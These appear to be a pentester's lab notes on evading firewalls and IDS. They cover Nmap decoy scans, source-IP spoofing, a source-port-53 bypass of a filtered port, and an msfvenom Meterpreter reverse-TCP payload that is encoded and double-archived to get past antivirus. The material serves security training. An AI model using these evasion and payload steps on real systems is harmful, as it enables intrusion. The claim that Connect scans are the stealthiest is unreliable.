The Connect scan is useful because it is the most accurate way to determine the state of a port, and it is also the most stealthy. Unlike other types of scans, such as the SYN scan, the Connect scan does not leave any unfinished connections or unsent packets on the target host, which makes it less likely to be detected by intrusion detection systems (IDS) or intrusion prevention systems (IPS)
With the Decoy scanning method (-D), Nmap generates various random IP addresses inserted into the IP header to disguise the origin of the packet sent. == prevent IPS to block our IP address
When only individual subnets would not have access to the server's specific services
nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 01:16 CEST
Nmap scan report for 10.129.2.28
Host is up (0.010s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
DNS proxying
If we are in a demilitarized zone (DMZ), the company's DNS servers are usually more trusted than those from the Internet. So, for example, we could use them to interact with the hosts of the internal network.
################### FIRST SCAN ########################
nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 22:50 CEST
SENT (0.0417s) TCP 10.10.14.2:33436 > 10.129.2.28:50000 S ttl=41 id=21939 iplen=44 seq=736533153 win=1024 <mss 1460>
SENT (1.0481s) TCP 10.10.14.2:33437 > 10.129.2.28:50000 S ttl=46 id=6446 iplen=44 seq=736598688 win=1024 <mss 1460>
Nmap scan report for 10.129.2.28
Host is up.
PORT STATE SERVICE
50000/tcp filtered ibm-db2
################### SECOND SCAN ########################
sudo nmap 10.129.2.28 -p50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53
SENT (0.0482s) TCP 10.10.14.2:53 > 10.129.2.28:50000 S ttl=58 id=27470 iplen=44 seq=4003923435 win=1024 <mss 1460>
RCVD (0.0608s) TCP 10.129.2.28:50000 > 10.10.14.2:53 SA ttl=64 id=0 iplen=44 seq=540635485 win=64240 <mss 1460>
Nmap scan report for 10.129.2.28
Host is up (0.013s latency).
PORT STATE SERVICE
50000/tcp open ibm-db2
Option
Description
-n
Disables DNS resolution.
--source-port 53
Performs the scans from specified source port.
Connect to the filtered port
ncat -nv --source-port 53 10.129.2.28 50000
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Connected to 10.129.2.28:50000.
220 ProFTPd
Metasploit - Archiving two times
$ msfvenom windows/x86/meterpreter_reverse_tcp LHOST=10.10.14.2 LPORT=8080 -k -e x86/shikata_ga_nai -a x86 --platform windows -o ~/test.js -i 5
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 27 (iteration=0)
x86/shikata_ga_nai succeeded with size 54 (iteration=1)
x86/shikata_ga_nai succeeded with size 81 (iteration=2)
x86/shikata_ga_nai succeeded with size 108 (iteration=3)
x86/shikata_ga_nai succeeded with size 135 (iteration=4)
x86/shikata_ga_nai chosen with final size 135
Payload size: 135 bytes
Saved as: /home/user/test.js
$ wget https://www.rarlab.com/rar/rarlinux-x64-612.tar.gz
$ tar -xzvf rarlinux-x64-612.tar.gz && cd rar
$ rar a ~/test.rar -p ~/test.js
$ mv test.rar test
0xss0rz@htb[/htb]$ ls
test test.js
$ rar a test2.rar -p test
Enter password (will not be echoed): ******
Reenter password: ******
RAR 5.50 Copyright (c) 1993-2017 Alexander Roshal 11 Aug 2017
Trial version Type 'rar -?' for help
Evaluation copy. Please register.
Creating archive test2.rar
Adding test OK
Done
mv test2.rar test2
0xss0rz@htb[/htb]$ ls
test test2 test.js
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If we want to learn more about packers, please check out the .
The official guide to the Nmap Security Scanner, a free and open source utility used by millions of people for network discovery, administration, and security auditing. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book by Nmap's original author suits all levels of security and networking professionals.
A guide to simulating an internal security breach. You’ll take on the role of the attacker and work through every stage of a professional pentest, from information gathering to seizing control of a system and owning the network.
The book offers one of the most complete and in-depth analyses of Wi-Fi and Bluetooth networks, then progresses through the various protocols such as DNS, ARP, SMTP, and others.
